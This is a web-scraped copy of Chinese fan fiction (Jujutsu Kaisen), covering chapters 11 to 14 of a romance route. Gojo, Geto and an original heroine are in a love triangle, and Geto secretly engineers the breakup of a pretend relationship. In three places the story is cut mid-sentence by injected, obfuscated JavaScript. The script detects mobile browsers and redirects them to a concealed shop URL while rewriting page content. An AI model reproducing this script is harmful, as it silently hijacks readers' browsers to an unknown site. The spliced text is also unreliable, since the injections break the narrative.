夏油杰清楚地记得,当时海月遥对于五条悟的亲密举动是有所抗拒的。 事情就很明了了。要解决这个状况,只要五条悟的感情转淡,或者海月遥对这种关系感到厌烦,她就会主动提出分手。 这个阶段使点手段拆散两个人,夏油杰不会有任何心理负担。 五条悟是他的挚友,但难道海月遥就不重要了吗?既然不是两情相悦,那为什么要一方成全另一方? 然而,仅仅三天后,她似乎已经接受了五条悟的接触,甚至主动触碰他。 为什么会这样? 她是真的打算认真对待这段感情了吗? 为什么?是为了不让悟为难?是因为本身就喜欢悟那种类型? 那他对她来说,又算什么? 永远的朋友? 认识十年的青梅竹马? 夏油杰阴沉着脸,大拇指抵在眉心,紧锁的眉头迟迟无法舒展。 他垂下眼帘,浓密的睫毛投下淡淡的阴影,掩住了那双深邃的郁紫色眼眸。 他沉默不语,一个人靠着拐角处的墙,独自一人站着。 啊,他错了。 夏油杰突然轻笑一声。 不是十年。 ——是3790天。 11. 悟线(十一) “人都走了,你还看什么呢?” 五条悟掩不住语气里的酸意,搂着海月遥的腰一把将她拉进房间,并顺手关上了门。 “杰看起来心情不太好。”海月遥转头看向五条悟,眉头微蹙,“好像还有黑眼圈……是发生什么事了吗?” 他心情好才怪。 五条悟看着怀中一无所觉的少女,并没有替夏油杰解释的打算。 “杰,杰,你总是关心杰……” 他捏着她的脸颊肉,没好气地问道:“你能看出我心情不好吗?” 海月遥转过身,认真地打量他。她的目光如细腻的画笔,仔细描摹他的眉眼。 她本来是想验证自己对五条悟是否有欲望,但此刻他上半身赤裸,冷白色的皮肤上是他自己掐出来的红痕,就如朵朵山茶点缀在雪地上,泛着清绝的微光。 她心中涌起一种微妙的感觉,与先前被他紧紧拥抱时的感觉相似,却又难以界定。 海月遥分不明白。 但可以肯定的是,这种波动并不强烈。 如果情绪强度能直接进行对比的话,海月遥觉得自己现在的情绪波动,就像是前几日和他约会时吃的覆盆子胡椒蛋糕。 浆果的甜与胡椒的辣巧妙融合,味道虽不算极致美味,但也并不难以下咽。 有趣。 但不足以称得上喜欢。 直到五条悟感到些许不自在,海月遥才轻声回应:“嗯。” “悟为什么心情不好?”她直截了当地问。 他避而不答,反问:“你觉得呢?” 海月遥深深地看了他一眼。 她恍然大悟:“因为没给悟看胖次。” “不是!”五条悟一噎,第一时间反驳,“你以为我是……”“变态”两个字还没说出口,他就被海月遥打断。 “黑色。” 她轻描淡写地说着,边走向床边。 “……诶?”五条悟闻言一愣,只见海月遥背对着他,解开腰间的衬衫,露出修长的双腿。她弯腰捡衣服时,T恤下摆微滑,露出的肌肤白皙如月。 她随手拾起床上的外套与T恤,搭在臂弯间,见他愣在原地,毫无反应,便随口说:“所以说,我现在穿的是黑色。” 这句话似乎触动了某个敏感的开关。他一愣,随即像是被烫到了一般,迅速后退几步,脸颊悄然染上了两抹绯红。 海月遥觉得自己这几天看五条悟脸红的次数比以前两年都多。 有点可爱,但只有一点。 微妙的情感,如同遇水而绽的花苞,在心间膨胀、盛开,胸口充满难以名状的情绪,既想吞咽又欲倾吐。 这份感觉……又是什么? 干脆再试试吧。 海月遥胡思乱想着,走到他面前,把衣服塞到他手里,反问:“现在心情好点了吗?” “……你又逗我!”五条悟一猜就知道这人是在恶作剧,她总是这样! 海月遥没说话,只是平静地撩起T恤下摆,手放在牛仔裤的扣子上。与他之前的急躁不同,她的动作异常缓慢。当铜黄色的纽扣解开,她的指尖轻巧地滑过边沿,直到腰侧,然后俯身,准备继续。 “停!停!停!!!我知道了!我真的知道了!”五条悟一手遮眼,一手迅速抓住她的手腕。 “你知道什么了?”海月遥反问。 “黑色!”他脱口而出,随即意识到不对,“不,我是说……” 海月遥别过头:“噗。” “果然是恶作剧……” “哈哈。” 她本来就是开玩笑的,五条悟总不可能真的去验证。她刚刚都没有拉裤子的拉链。 在他发飙前,海月遥若有所思地伸出手,玉白的指尖轻点在他胸膛前的红痕。 “悟,为什么突然脱衣服?还掐自己?”她抬眼看向窘迫的五条悟。 说着,海月遥的指尖在红痕间随意滑动,仿佛想要将它们连成一线。 “没什么……”五条悟无法告诉她真正的原因,只得别过头去。然而,她指尖的滑动又让他感到发痒,于是他扒拉开她的手,准备穿上自己的黑色T恤。 她注意到他颈项间浮现的淡淡薄红,宛如蛋糕上覆盆子般的鲜红,诱人的甜味在舌尖悄然蔓延。那鲜艳欲滴的色彩,令人难以抗拒地想要品尝一口。 于是,她毫不犹豫地咬了下去。 他比她高出一个头,这个高度恰到好处,她无需踮脚,也不必弯腰,就能让她毫不费力地、自然而然地贴近那诱人的红痕。她的牙齿并不尖锐,细细地碾磨着、轻咬着。 “嗯……” 五条悟喉间发出一声低沉的闷哼,这突如其来的触感让他下意识地松开了手,手中的衣物随即散落一地。他想要推开她,但又不知为何没有用力,只是眉头紧蹙,脸侧的绯红更衬托出那双蓝眼睛的清澈。 他用力地抿了抿唇,试图掩饰住自己方才因动情而流露出的声音,恶声恶气地讽刺道:“突然咬人,狗吗?” 甜。 海月遥伏在他的胸口,没有抬头,只是微微抬眼看向他。 那双如猫眼般又大又圆的眸子,漫不经心地扫了他一眼。她随即伸手钳着他的下巴,迫使他仰起头来。 他流畅的颈部曲线在她眼前展露无遗,如同上苍精心雕琢的艺术品。而那些他自己掐出来的红痕,就是精美骨瓷上的朵朵梅花。 在她眼中,这些红痕成了引路的标记,指引着她应该往哪儿下嘴。 她踮起脚尖,侧头轻咬他的脖颈。 “等等,遥……” 她每进一步,五条悟就往后撤一步,直到脚跟踢到靠在墙边的转椅。她一按,他跌坐下去,而她则顺势坐在他腿上。 她勾住他的脖子,伴着他的声音继续。 他手踟蹰,不知是该抱住她还是推开她,最终虚环在她的腰侧。 甜。 这时,她的脑海中不知为何浮现出了那些软糯可口的流心草莓大福。她想象着,若是自己再稍稍用力,那甜腥的鲜血与甘美的喘息声便会如同咬破大福后流淌出的草莓酱与多汁的草莓块一般,缓缓地、暧昧地交织在一起。 令人心醉神迷的甜。 海月遥若有所思。 她向来坦诚面对自己的欲望。此刻,她感到一股冲动,想要继续咬下去。 这,会不会就是喜欢的感觉呢? 或者,她需要更多尝试来确认? 正当她纠结时,五条悟按住她的肩膀,一字一顿地问:“你、在、干、什、么?” “咬你。”她简洁回应。 这不是明摆着吗?他总是问些废话。 话音刚落,她感到肩膀上的手劲逐渐加大。他移开视线,撇撇嘴,露出平日不爽时的表情。然而,当他的双颊微微泛红时,这种表情又平添了几分特别的意味。 “……为什么突然咬我?” “自己不都掐了吗?” 因为他掐了自己,她就可以随口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581148|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬他?这逻辑怎么跟因为他兜里有钱,她就顺手拿去花一样荒谬? “你讨厌吗?”见他不语,海月遥反问道。 “太快了……”他低声嘟囔。 “嗯?什么意思?”她没听清。 “我是说,进度太快了!”他提高嗓门,眼神闪烁,“我们才交往五天而已!” 海月遥感到困惑,这还算快吗?确认彼此的心意难道不是第一步吗? 但她向来谦虚好学,于是诚恳地问:“那你觉得我们应该先做什么?” 五条悟的视线先是落在怀中的少女身上,然后小心翼翼地、试探性地移向她那柔软的唇瓣,他仍能感受到他身上残留的触感。 “接、接……kiss,应该先kiss……” 他本想说“接吻”(キス,kisu),但话到嘴边却改成了“kiss”,似乎这样能让脸上的热度稍微减退一些。 Kiss? 难道在不确定是否喜欢的情况下就要接吻吗?悟比意想中更大胆呢。海月遥心想。 不,她垂下视线。从五条悟的角度来看,他们两人似乎是互相喜欢的。 五条悟本来略带期待的眼神逐渐凝固,他注意到她的视线落点。被发现后,他脸庞上翻滚的红云比三四月的樱花雨还要艳丽。 他倒吸一口气,立马将她抬起。 海月遥的注意力瞬间被转移了。 “你摸我屁股!”她惊愕地高声指责。 五条悟一愣,下意识动了动。 这人在自己指责后甚至还捏! 太过分了! 她直接给他一记头槌,迅速站起,顺道踹了他胸口一脚,捂着屁股退到房间角落,警惕地盯着这个罪不可赦的变态。 “那个,遥……” “变态混蛋白毛蠢货神经病!” 她打断他,一连串地骂道。 似乎有一个奇怪的词也混入了辱骂中。 五条悟起初还想道歉,但随着被骂,他也开始生气。他明明不是故意的! “那你摸回来不就好了!”他大声回怼,“这样我们就扯平了!” 海月遥大惊失色:“0!” “你摸啊!”五条悟逼近一步。 “0!”海月遥后撤一步。 “让你摸!”五条悟紧追不舍。 “0000000000!”海月遥疯狂躲避某白毛。 在这间不大的房间里,两人开始追逐战。 …… 最终由于房间实在太小,没有施展的空间,还是被逮到,生平第一次,她被强迫去摸一个男人的屁股。 而且这个人还是五条悟。 和她争夺夏油杰挚友位置的情敌。 好想死…… 海月遥逐渐褪色,化作灰白的纸片人,无力地躺在地板上,仿佛有魂体自她口中逸出,又或许只是幻觉。 五条悟冷静下来后,感到自己似乎做得有些过分。他半跪在海月遥身旁,小心翼翼地轻拍她的肩膀,生怕稍一用力,她的灵魂便会离体升天。 “遥,你……” 他刚开口,便见那重新变成彩图版的少女正呆滞地凝视着自己的手心。 她缓缓坐起,与五条悟视线交汇,望着他既羞恼又懊悔的神情。 “其实手感还不错。”她诚恳地说道,“能再让我摸一下吗?” 五条悟:…… “你这个变态抖s女!” 他气急败坏。 12. 悟线(十二) “杰,你怎么了?” 海月遥发出的这条消息石沉大海。 这几天,她隐隐感觉到他身上的异样,那种难以名状的疏离感,仿佛一瞬间,原本亲昵无比的两人之间竖起了一道无形的屏障。 昨天晚上给他发消息,却迟迟未回——这放在夏油杰身上,是异常的。以往他几乎都会在第一时间回复,哪怕是再简短的一句话,也从未让她空等过。 她尝试拨打电话,听筒里传来的,却只有冰冷而机械的“无人接听”的提示音。 海月遥不明所以。 所以她决定今天去堵夏油杰。 …… 她知道夏油杰有晨练的习惯,哪怕是有课的时候,他也会起得很早。所以她一改常态,早早起床,在宿舍一楼大厅守株待兔。 没过多久,夏油杰的身影出现在大厅的门口。他锻炼完刚冲完澡,身上散发着淡淡的水汽。微湿的长发随意地披在肩头,稍稍打湿了棉质的衣物,整个人散发出一种慵懒而随性的气质。 他走进大厅,看到海月遥时略显惊讶,但很快化作温和的笑容,说道:“小遥,难得见你这么早起床。”话语中带着几分调侃,但他并未走向她,只是远远地站在那里,与她保持着一段距离。 夏油杰转身,走向一旁的自动售货机。随着“哐当”一声,一瓶矿泉水从售货机中滚落。 海月遥没有犹豫,径直走向他,声音平静而坚定:“我在等你。” 他弯腰的动作微微一顿,但很快恢复如常,捡起水瓶,拧开瓶盖,喝了一口。转过身来,他带着些许无奈的笑容问道:“怎么了?是关于……” “杰,你发生什么事了吗?”海月遥直接打断他,目光直视着他的眼睛。 夏油杰微微一愣,眼神闪烁,随即笑道:“嗯?我不太明白小遥的意思?” “杰有黑眼圈。”海月遥直言不讳地指出。 他摩挲着自己的眼尾,解释道:“这几天有点沉迷游戏,没睡好。” “我给你发了消息,打了电话。”海月遥并没有轻易接受他的解释。 “昨天晚上手机没电了,没注意。”他依旧保持着温和的笑容。 “我还没说是什么时候。” 夏油杰却只是轻松地笑道:“我早上有看过消息。本来准备晨练完后回复的,不过现在你既然在这里,我们可以直接说哦?” “是吗?”海月遥不置可否,“我发消息是想说,前几天借给你的书不是同系列的。” “我还没来得及看,原来小遥拿错了吗?”他先是露出诧异的表情,仿佛真的对此毫不知情。然后,他缓和地笑道:“这么粗心,可不像是你。等你有空的时候,我再找你换回来吧。” “不过,现在也不早了,我还得先收拾一下去上课,之后再谈吧?” 说罢,他转过身准备向楼道走去,却被海月遥几步追上来攥住了手腕。他背对着她,唇角微微上扬,却又很快恢复平静。 两人站在楼道口,没有一人说话。 “3793。” 她打破沉默。 “就像杰说的,我们已经认识3793天,没有人比我更了解你。” 海月遥还记得他几天前对自己说过的话。 “杰,你有心事。” 她的语气却没有他那般的柔情,而是淬了冰,充满冷硬、不容置疑的语调:“告诉我。” 夏油杰没有回头,也没有开口说话。他感受着手腕处不断加大的力道,近乎愉悦的情绪在阴暗的角落不断滋生涌出。 “告诉我。”她再次重复。 他依旧没有回答,灵敏的听觉捕捉到了越来越近的脚步声。尽管海月遥可能也听到了,但她的注意力仍集中在夏油杰身上。 三、二、一…… “你们……在干什么?” 一个隐含怒气的声音从上方传来,打破两人间的僵持。 是五条悟。 他的目光在夏油杰和海月遥之间游移,脸色逐渐阴沉,一步步走下楼梯。 “哒、哒、哒。” 鞋跟敲击地面的声音在楼道中回荡,气氛随之变得紧张。 夏油杰轻叹了口气,对海月遥说:“小遥,松手吧。真的没什么。” “杰骗人。” “我没骗你,悟快生气了,放手吧,听话。”夏油杰无奈地笑了笑。 海月遥瞥了夏油杰一眼,又看向已经走到近前的五条悟。 奇怪。 悟为什么会生气? 他们两个明明是挚友,这个时候不应该更担心表现奇怪的杰吗? 犹豫片刻后,她最终还是松开了手。 “悟,小遥只是有些担心我。”夏油杰率先开口解释,“她没别的意思。” 但这解释似乎更激怒了五条悟。 “担心你?”五条悟眉头一挑,冷笑一声,“她确实没别的意思,但你就不一定了。” “要不是我路过,你们还要在这里拉扯多久?” “三分钟。”海月遥认真回答,“再晚就赶不上课,会挨揍。” 五条悟本想继续讽刺,却被这话堵住,怒气顿时消了一半。他烦躁地揉了揉头发,露出光洁的额头。 “你……真是个缺根筋的笨蛋。” 海月遥平静地踩了他一脚,鞋跟狠狠地碾过他的脚背,痛得他倒吸一口气。 五条悟决定反击。他一手勾住她的脖子,像撒气一样胡乱揉了揉她的头发,把她的发型弄得乱七八糟。 “笨蛋!”他大声嚷嚷着,半是挟持着面无表情的海月遥,一边回头朝夏油杰挥手,“杰,你还不去换衣服就赶不上课了,快去!” “当然。”夏油杰笑着回应,朝他们点点头,便往楼上走去。 “杰,遥是我的女朋友。”在他转身时,五条悟冷不丁地说道。 “嗯,我明白。”夏油杰一顿,温声回应。 “那就好。” 五条悟留下这句话,就绑架着海月遥离开。夏油杰还能听到两人逐渐远去的交谈声。 “你刚刚和杰在聊什么?” “我问杰最近是不是遇上什么事了,为什么不开心,还躲着我。” “哈?!你是笨蛋吗!” “……我会揍你。” “耍赖!你拳头早就挥过来了!” “一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581149|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合格的杀手,在说出‘杀’字之前,任务就已经完成。” “那有种你别跑啊!” “哈。” 夏油杰走着走着,停下脚步,直到再也听不见二人的声音。他的表情平静极了,郁紫色的眼眸里却酝酿着风暴。 …… “杰,你还没告诉我你怎么了。”刚下课,海月遥就迫不及待地转过身,反坐在座位上,半趴在夏油杰的课桌上,目光直直地看向他。 旁边几乎同时传来一声不爽的“啧”。 “真的没什么。”“他能有什么事?” 夏油杰和五条悟几乎同时开口。夏油杰侧头看向懒散地倚在椅背上的五条悟,他的椅子仅靠后排两只椅腿支撑,摇摇欲坠。 五条悟双手环胸,目光并没有投向他们,修长的腿抵着课桌,椅子随他的动作摇晃,显得颇为危险。 “就像悟说的那样。”夏油杰微愣,随即温和地看向海月遥,“小遥,别担心。” 海月遥不明白两人为何要撒这么明显的谎。她有自己的判断力,夏油杰的异常,她一眼就能看出来。 越拦着她,她越要弄清楚。 所以…… 格斗课上,她一边与夏油杰对战,一边趁机问道:“杰,你怎么了?为什么最近总是心不在焉的?” 午饭时,她蹲在食堂餐桌旁,只露出一双又大又圆的猫眼,盯着夏油杰问道:“杰,你为什么躲着我?” 回宿舍的路上,她更是从路边的树上半吊着探出头,吓了夏油杰一跳的同时,也不忘追问:“杰,你为什么不开心?告诉我,我帮你。” 每次的回答都是否认,和那副欲言又止的模样。而且有时候她都感觉夏油杰要松口了,五条悟又窜出来打扰她。 那个笨蛋! 海月遥越来越烦。 …… 五条悟越来越烦。 一方面夏油杰能主动退让,懂得保持距离,这一点他倒是觉得不错。但另一方面,海月遥却对夏油杰的异状穷追不舍,一定要弄清楚原因。 无论他如何强调“没事”,她总是不信,只是淡定地反复询问:“杰到底怎么了?” 一遍又一遍。 杰、杰、杰……还是杰! 夏油杰三天不理她,她是不是就得闹上天?! 说没事又不信,说有事又得问为什么。那还能为什么,因为夏油杰喜欢她,所以更应该拉开距离! 但这话他不能直接说出口,只能解释道:“为了避嫌。” “避什么嫌?”她立刻反问。 “因为我们在交往。”他坦言。 “为什么?硝子也没不跟你说话。”她不解。 “杰和硝子情况不同。”他强调。 “哪里不同?”她继续追问。 又是问题,怎么问题这么多?! 五条悟被她烦得抓狂。 他也不能让夏油杰变回原来的样子,他难以容忍他们两个人亲密地依偎在一起聊天。 但现在情况也大差不差,那家伙几乎没理他,注意力全放在了杰上面。 那个笨蛋! 明明他们才是恋人!!! 13. 悟线(十三) “……今天下午预计有阵雨。” 主持人话音刚落,信号就被掐断了。 …… 果然,下午一两点左右,天空开始淅淅沥沥地下起了小雨。树上的樱花被雨水打湿,一片片花瓣垂头丧气地垂着,宛如美人含泪。 春日的小雨本应带来生机与复苏,但此刻却只觉得阴冷潮湿。人和树木一样,都显得无精打采,体内的潮湿感逐渐累积,身体变成了只冲一半水的橡胶手套,软绵绵地晃荡着。 夏油杰披散着头发,坐在一楼大厅,专注地翻阅海月遥前几天借给他的书。 明明就是同一系列。 他回想起她前天的谎言,嘴角忍不住上扬,但很快又压了下去。他的眉毛细长如柳叶,配上不明显的泪沟和眼下的黛青,莫名多了分郁色。 当海月遥下楼时,看到的就是这样一幅画面。 “杰。”她轻声呼唤。 他抬头,稍一迟疑后回应。 海月遥走近,低头细细打量着夏油杰,眉心逐渐蹙起。 “你瘦了,黑眼圈也重了。”她敏锐地察觉到这微妙变化,“肯定有事,别想骗我。” “告诉我,杰。”她冷声命令。 “我……” “没事?”海月遥表情冰冷,居高临下地盯着他,蓝眼睛泛着无机质的光。“别把我当傻子。” “我没想瞒你。”他迎上她怀疑的目光,轻笑一声,拍了拍身旁的位置,“先坐下,我想想怎么跟你说比较好。” 她凝视他片刻,然后默默地坐在他身旁。 “小遥,你和悟交往时并不知情吧?”他直接切入正题。 “……” “别骗我。我能看出你的不对劲,就像你能察觉我不开心一样。”夏油杰目光落在前方地板上,“要求我坦诚,自己却撒谎,这并不公平。” 他语气温和,言语间却又是不容置喙的坚定。他斜睨她一眼,慢条斯理地补充:“如果你没有诚意,那我们也没必要谈。” “……是。” 她最终点头承认。既然夏油杰在他们宣布交往的当天就察觉到了异常,现在再瞒着他也没有意义。海月遥心想。 “那小遥是怎么看待悟的呢?”得到意料之中的答案后,他嘴角的笑意愈发明显。“你喜欢他,还是只把他当朋友,勉强交往?” “这个问题和我要问的问题无关吧?”海月遥不太想回答这个问题。 “不,有关。请回答我。” 他知道海月遥通常不会拒绝带“请”字的请求,便在这个字上加重了语气。觉察到自己语气过硬,他随即放缓,每个字都像是藕断丝连地黏在一起。 “告诉我吧,小遥……” 窗外雨势渐大。 悟还在出任务,他没事吧?海月遥心不在焉地想着。不过他有无下限,应该淋不到雨。 “……小遥,小遥?” 夏油杰的轻唤让她回过神来。 “嗯?嗯……”她开始思考他刚才的问题。“我喜不喜欢悟……” 起初应该是朋友,她觉得自己对五条悟的感情,与对夏油杰和家入硝子的并无不同。 但前几天咬他时,他喉间的喘息声,以及舌尖那缠绵至极的甘甜,又浮现在她脑海。 这会是喜欢吗? 她也不确定。 “不知道。” 这是她最终的答案。 但夏油杰对此并不满意。 她能说出这句话,说明她心底至少已经有好感在萌芽了。今天才是他们交往的第十天……他可以肯定,最开始的时候,她对五条悟绝没有这方面的想法。 他感到不甘,非常不甘。 明明是他先来的,为什么会变成这样? 妒火在他胸中疯狂燃烧,几乎要将他的爱意烤炙成灰。他的目光无法从她身上移开,痴痴地、黏腻地凝视着她。那炽热的视线如同蛇的信子,贪婪地吻着她的黑发,舔舐着她被高领遮住的肌肤,滑过她挺直的腰背,最后吮吸着她玉白的手指…… 她一开始并不是这样的,她原本是那样淡漠,冷酷到不近人情。是他把她带到这里,然而她却看向了另一个人。 无法原谅。 比咒灵球还要苦涩的味道从舌根泛起,他攥紧拳头,手臂上青筋暴起。但在她察觉之前,他松开手,恢复那副温和的模样,眼中瑰丽的紫色郁结,不断旋转、放大,仿若漩涡。 海月遥不明所以地看着他:“现在,可以告诉我杰不开心的原因吧?” “我只是在担心小遥。”他轻松地回应,“一眼就看出你不对劲,自然会担心你是否为难。” “那也不至于会失眠吧?”她狐疑地反问,紧盯着他的表情。 “会。” 窗外雨声滴答,如同不断逼近的急促脚步声,似乎在预示着某种未知的到来。 “我不是说过……” “你在我心中,是最特别的存在。” 夏油杰心中默念着那个数字:3795。 雨水打湿了他的声音,说话声仿佛混杂着雨声。他低垂眉眼,神情仿佛怜悯众生的佛,但眼底却无半分柔情。 “我喜欢你哦,遥。” 夏油杰这轻飘飘的一句话,对海月遥而言犹如重磅炸弹,令她霎时愣在原地。然而,他并未趁机追击,只是语气平稳地继续道: “悟在的时候,我不方便直接问你。那你现在打算怎么处理和悟的假交往呢?” “——什么假交往?” 不该出现的人此刻却出现了。五条悟扶着门框,虽有无下限术式挡雨,但周身仿佛散发着逼人寒气。 先前的声响并非雨声,而是他的脚步声。 两人惊愕地望向门口的五条悟。 墨镜遮住了他的眼神,但无论是言语还是站姿,都透露出他难以遏制的怒火。 海月遥也循声望去,眼中满是茫然。当她的视线落在五条悟身上时,他再次咬牙切齿地问道: “什么是假交往?” “解释。” 海月遥顿时僵住,只觉寒气从脚底直冲头顶,大脑一片空白。 “啊,那是……” “悟听错了,其实是……”夏油杰试图为她解围,却被五条悟粗暴打断。 “杰,你别插嘴!”他直视着呆滞的海月遥,语气冷硬,“遥,你来说。” 海月遥双唇翕动,终于挤出一句:“假、假交往是……”然而,她依旧无法给出完整的解释。 五条悟脸上露出厌恶和失落混杂的神情。他没有大闹,只是转身走入雨中。 一时间信息量太大,海月遥没能立刻理清思路,于是她沉默地坐在原地。 夏油杰叹了口气,轻拍她的肩膀,递上一把伞。“去找悟吧,尽量解释清楚。”他温和地嘱咐道,“他只是暂时太生气了。” 哪来的伞?海月遥在这个时候还有空关注到其他地方。 夏油杰见状解释:“天气预报说今天有雨,我本来打算看书后出门的……你先拿去用。” “可是杰,我不知道该说什么。”她皱眉,手指紧张地绞着袖口。 “你总得去解释。”他说,“你已经不是小孩了,得和他坦白。无论是关于交往还是感情问题,都不能逃避。” 海月遥突然反问:“……那杰呢?” “嗯?”他被她问得一愣,随即好脾气地再次询问,“我怎么了?” “杰刚刚说喜欢我……” “那只是……总之,我没别的意思,也不需要你回应。”夏油杰打断她,但笑得十分勉强,“我不想给你压力。” 他拍了拍她的肩膀,催促道:“别多想了,快去找悟吧。” 海月遥迟疑片刻,最终点头,拿着伞冲进雨中,去寻找五条悟。 …… “悟。” 海月遥打着伞,最终在一棵樱花树下找到了五条悟。 他独自一人,默不作声地站在树旁,白发无力地垂着。尽管他身上一滴雨水都未沾,却像是被雨淋湿的落寞大猫。 可怜又可爱。 海月遥走过去,伸长手臂用伞遮住两人的头顶。她轻戳他的后背,但五条悟没有回头。 “……不是说过不开这种玩笑的吗?” 过了一会儿,他才闷闷地问道。 玩笑? 海月遥回想起一周前,他们在课堂上扔纸条时的约定。她曾答应不再开他们并没有交往的玩笑。 然而,这一次不是玩笑。 她小心地走到他身旁,侧头凝视他。他没戴墨镜,而是将它别在口袋上,透亮的蓝眼低垂,凝视着手中的东西——那是她送给他的无限翻折书。扉页上的Q版海月低着头,双手紧张地绞在一起,流露出不安与歉意。 “你怎么不说话?”他戳着Q版海月的脸,像是低声问着扉页上的这个小人。五条悟希望这只是个玩笑,之后他们便能重归于好。 “抱歉。” “所以,交往只是个误会?” “……嗯。” 话音刚落,他便紧紧地拥抱了她。伞落到地面,被风吹得转了半圈。但在五条悟的怀抱中,她丝毫未被雨水淋湿。 这次跟以往的拥抱不同,少年胸膛紧贴着她,灼热的、潮湿的呼吸吹拂在她的颈侧。热气流散时,皮肤下似有酥酥麻麻的触感涌起,又随着热量的流逝而消逝,如同起伏的海浪。 渐渐地,他的一只手环住她的肩膀,另一只手则滑向她的腰间,紧紧地将她搂在怀里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581150|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他一言不发,低垂着头,毛茸茸的白发埋在她的颈肩。海月遥感觉有些痒,不自觉地缩了缩脖子。 两人的体温交汇,心跳共享。 密密麻麻、燥热的针刺感从皮肉下蔓延开来,她仿佛置身于海中,又像是被关进了漆黑的狭窄柜子,脑内阵阵涟漪泛起,眩晕感随之袭来。 又是新奇的体验。 但她不觉得现在这个状态是舒适的。 所以,海月遥开口:“悟?” 五条悟这次却不像之前那样,轻而易举地脸红,再浮浮燥燥地高呼。他垂下眼帘,澄澈的蓝眼没有看向她,只是空洞地凝视着地面的水洼,或许是那飘零的樱花瓣。 “遥,你真的喜欢我吗?” 这又像是他们交往的那天。 难道不喜欢就要放手,让她独自淋雨? 但海月遥冒着可能发烧的危险,还是坦诚地回答:“不知道。” “是吗?”他语气异常平和,指尖术式轻转,用【苍】吸来地上那把伞,一抖即去雨珠。 他将伞一把塞入她手中,跑出伞外,朝她做个鬼脸,吐着舌头。 “那你一个人去过吧!” “笨蛋遥!白痴遥!呆子遥!” 说罢,他恢复往日的精神状态,边骂边跑,在她反应过来前溜走。 这算什么? 海月遥茫然地看着五条悟逐渐消失的背影,呆呆地站在原地。 她不知所措,就这样呆立在原地,无处可去,无事可做。 她甚至无法形容自己此刻的心情。 问题虽已解决,她却感觉像是吃了那次盖章活动的黑森林蛋糕,口中充斥着廉价的糖精味,让她感到黏腻、厌恶和失望。 期待已然落空。 然而,她也不清楚自己究竟想要什么。 她一无所知。 她只能站在这棵樱花树下,静静发呆。 不知过了多久,一个身影带着水汽闯入了她的伞下,打破了她与外界的隔绝。 她转头看去。 是夏油杰。 他淋着雨跑来,衣服湿透,紧贴在身上,紧绷的身材曲线一览无余。 “我给你发消息,你一直没回,我担心你就出来了……”他边说边打量她的神色,“发生什么事了?” “杰……”海月遥抬起头,眼中带着无措,“悟说让我一个人去过……” 夏油杰愣了一下,眨了眨眼,随即轻声说:“我们先回宿舍,外面冷。” 两人共撑一把伞,空间显得有些狭窄。他主动让大部分肩膀露在伞外,与她保持适当的距离。他一手虚搭在她的肩外,没有碰到她,只是用手背挡着可能落到她肩上的雨。 他的余光里,满是少女。 …… 结果和他的预想一致。 只要主动拉开距离,海月遥就会率先感觉到失去什么的空虚感和不适,但同时,其他人又挑不出任何错。毕竟他们认识了3795天,早就渗入了彼此的生活,那些细微的差别,也只有两个人自己能分辨清。 他完全有能力在不让海月遥反感的前提下与她保持距离,但他为何要这样做? 只需精心策划时间,洞悉二人的心思,他便能巧妙地安排五条悟偶遇他们共处的场景,让他听见那些精心准备的话语…… 突如其来的告白,不过是为了动摇海月遥的心神,让她无暇注意到五条悟的到来。 挑起两人间的矛盾,对他而言易如反掌。 夏油杰的眼神冷漠而平静,不带一丝情感。刚走进宿舍时,海月遥突然感到一阵阴冷,迟疑地转头望向他。 他静静地站在伞下,身影被昏黄的灯光和密集的雨点切割得支离破碎,大半都隐没在阴影之中。黑漆漆的制服,披散的黑发,让人只能把视线移到因受凉而泛白的脸上。 他的黑发因雨而蜷曲,贴着脸颊,像裂纹般蜿蜒在脸侧,宛如精美骨瓷上的一道道黑洞般的裂痕。紫色眼眸眼尾上扬,眉目低垂,流露出一种诱惑与怜悯交织的深邃魅力。 察觉到她的注视,夏油杰眯起双眼,微笑着,眼睛眯成一条深黑的细缝,安慰着身边可怜的幼驯染。 “别担心,小遥……” “回去后,把一切都告诉我……” “我会为小遥想办法的……” 或许是因为淋了雨,他的声音还有些喑哑黏连。海月遥摸了摸他的手背,触感冰冷而又湿滑,让她不禁想起了蛇的鳞片。 “杰回去后先换身衣服吧。”她担忧地说道,“别感冒了。” “我会的。”他温声回应。 …… 真好。 夏油杰再次默念着那个数字。 ——3795。 14.悟线(十四) 在海月遥的印象中,夏油杰始终是个利他主义者,总是优先考虑他人。 因此,即便他浑身湿透,将她带到自己的宿舍后,他还是先为她找了条薄毯披上,又为她倒了杯热茶。 她毫不客气地霸占他卧室的转椅,脱了鞋,赤足盘腿而坐,肩上披着毯子,小口小口喝着热茶。 